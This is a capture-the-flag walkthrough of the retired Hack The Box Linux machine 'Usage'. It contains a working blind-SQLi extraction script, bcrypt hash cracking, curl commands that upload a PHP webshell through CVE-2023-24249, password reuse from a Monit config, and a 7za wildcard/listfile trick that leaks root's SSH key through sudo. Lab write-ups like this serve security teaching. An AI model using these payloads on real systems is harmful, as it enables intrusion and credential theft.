~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / usage.md

usage

Linux · Easy · released 2024-04-13 · retired 2024-08-10

Summary

Usage is an Easy Linux box with three CVEs and one classic wildcard-injection privesc:

  1. Blind SQLi on POST /forget-password (note: spelled forget, not forgot). Single quote in email= gives
    1. The chain that actually worked here is the “subquery returns more than 1 row” error oracle — `(SELECT 1 FROM (SELECT 1 UNION SELECT 2)x WHERE
    )`. When `` is true, MySQL throws "Subquery returns more than 1 row" → 500. False → 200. This is an instant binary signal, ~7 requests per character via binary search. **SLEEP() does not delay this endpoint at all** — only BENCHMARK() does, and BENCHMARK is ~3s per bit which is 10× slower than the error oracle. Dump `admin_users.username = admin` and `admin_users.password = $2y$10$...` (Laravel-Admin convention; the table is *not* `admins`).
  2. Bcrypt crack of admin’s hash via hashcat -m 3200 against rockyou → <ADMIN_PW>.
  3. CVE-2023-24249 in Laravel-Admin’s avatar upload at /admin/auth/setting. The frontend uses accept="image/*" but the backend only validates the upload’s MIME (sent by client), not the actual file content. Upload a shell.php with type=image/png form-data → file lands at /uploads/images/shell.php and runs as dash.
  4. Monit credential reuse: /etc/monit/monitrc has allow admin:<MONIT_PW> for the local-only web interface. The monit web auth password is reused as xander’s system password → SSH xander.
  5. sudo -l(root) NOPASSWD: /usr/bin/usage_management. The binary runs cd /var/www/html && /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *. Two wildcard-abuse primitives:
    • Symlink id_rsa -> /root/.ssh/id_rsa in /var/www/html/. The wildcard expands to id_rsa, and 7za follows symlinks by default.
    • Touch a file named @id_rsa in /var/www/html/. The @<filename> syntax tells 7za to read that file as a listfile of paths to archive. Combined with the symlink, 7za reads /root/.ssh/id_rsa’s content as a “list of files” — each base64 line of the key triggers a “No more files” error that prints the offending line to the wrapper’s stdout. Result: the entire SSH private key is leaked through usage_management’s output.
  6. SSH root with the recovered key → /root/root.txt.

Recon

22/tcp     OpenSSH
80/tcp     usage.htb (Laravel)
+ admin.usage.htb (Laravel-Admin)

Foothold — blind SQLi → admin → CVE-2023-24249 → dash

The injectable parameter is email on POST /forget-password (note the spelling: forget, not forgot). The endpoint rotates the CSRF _token per request — every probe needs a fresh GET /forget-password first.

sqlmap (slow path) vs error oracle (fast path)

sqlmap finds the injection on this box, but very slowly: ~13 minutes just to confirm BENCHMARK time-based, and dumping the bcrypt hash via that path takes hours. The fast path is the “subquery returns more than 1 row” error oracle:

# True branch → 500. False → 200/302. Instant binary signal.
payload = f"foo' AND (SELECT 1 FROM (SELECT 1 UNION SELECT 2)x WHERE {cond})-- -"
# Custom extractor (notes/engagements/usage/exploits/usage_oracle.py)
def check(cond):
    tk = fresh_csrf_token()
    r = post('/forget-password', {'_token': tk, 'email':
             f"foo' AND (SELECT 1 FROM (SELECT 1 UNION SELECT 2)x "
             f"WHERE {cond})-- -"})
    return r.status_code == 500

def extract_char(query, pos):
    if not check(f"(SELECT ASCII(SUBSTR(({query}),{pos},1)))>0"):
        return None    # NULL = past end of string
    lo, hi = 32, 126
    while lo < hi:
        mid = (lo + hi) // 2
        if check(f"(SELECT ASCII(SUBSTR(({query}),{pos},1)))>{mid}"):
            lo = mid + 1
        else:
            hi = mid
    return chr(lo)

Per-character cost: ~7 binary-search probes × ~0.5s/probe ≈ 3.5s. Tables list (~280 chars) takes ~5 min; admin_users.password (60-char bcrypt) takes ~3 min.

The Laravel-Admin convention is admin_users (not admins), columns username, password. Cracked credentials: admin : <ADMIN_PW> (rockyou hits a common keyboard walk).

CVE-2023-24249 webshell upload

Login at POST /admin/auth/login. Don’t follow the 302 with -L — curl’s --post302 quirk re-POSTs to /admin which 405s. Use -c cookies.txt and a separate GET on the new session:

TOK=$(curl -s -c admin.txt http://admin.usage.htb/admin/auth/login | sed -n 's/.*name="_token" value="\([^"]*\)".*/\1/p' | head -1)
curl -s -c admin.txt -b admin.txt -X POST \
  -d "_token=$TOK&username=admin&password=<ADMIN_PW>" \
  http://admin.usage.htb/admin/auth/login    # 302
curl -s -b admin.txt http://admin.usage.htb/admin   # 200 dashboard

Avatar upload at /admin/auth/setting:

TOK=$(curl -s -b admin.txt http://admin.usage.htb/admin/auth/setting | sed -n 's/.*name="_token" value="\([^"]*\)".*/\1/p' | head -1)
echo '<?php system($_GET["c"]); ?>' > shell.php
curl -s -b admin.txt -X POST \
  -F "_token=$TOK" -F 'name=admin' -F 'username=admin' \
  -F '[email protected];filename=shell.php;type=image/png' \
  -F '_method=PUT' http://admin.usage.htb/admin/auth/setting
# → 302; the file lands at /uploads/images/shell.php
curl 'http://admin.usage.htb/uploads/images/shell.php?c=id'
# uid=1000(dash) gid=1000(dash)

The MIME guard accepts whatever the client sends in the multipart type= parameter; no actual content sniffing.

dash → xander

/etc/monit/monitrc:

set httpd port 2812
   use address 127.0.0.1
   allow admin:<MONIT_PW>

The <MONIT_PW> (a leet-substituted phrase) is reused as xander’s system password. SSH directly:

ssh xander@<TARGET>   # password = <MONIT_PW>

Privesc — sudo usage_management → 7z @listfile exfil

$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/usage_management

$ strings /usr/bin/usage_management | grep 7za
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

The wildcard expands to filenames in /var/www/html/, which is drwxrwxrwx-writable for xander. Two primitives in 7za:

cd /var/www/html
ln -sf /root/.ssh/id_rsa id_rsa     # archived = root's key
touch '@id_rsa'                     # 7za reads id_rsa as listfile
echo 1 | sudo /usr/bin/usage_management   # option 1 = Project Backup

Output (truncated):

-----BEGIN OPENSSH PRIVATE KEY----- : No more files
b3BlbnNzaC1rZXktdjEAAAA...     : No more files
[...]
-----END OPENSSH PRIVATE KEY----- : No more files

Each line of the SSH private key is echoed back as the “missing path” portion of 7za’s WARN: <path>: No more files message. Reassemble the key, set 0600, SSH:

ssh -i id_rsa root@<TARGET>
# uid=0(root) gid=0(root); cat /root/root.txt

Why each step worked

Counterfactuals

References

← all htb machines hackthebox.com ↗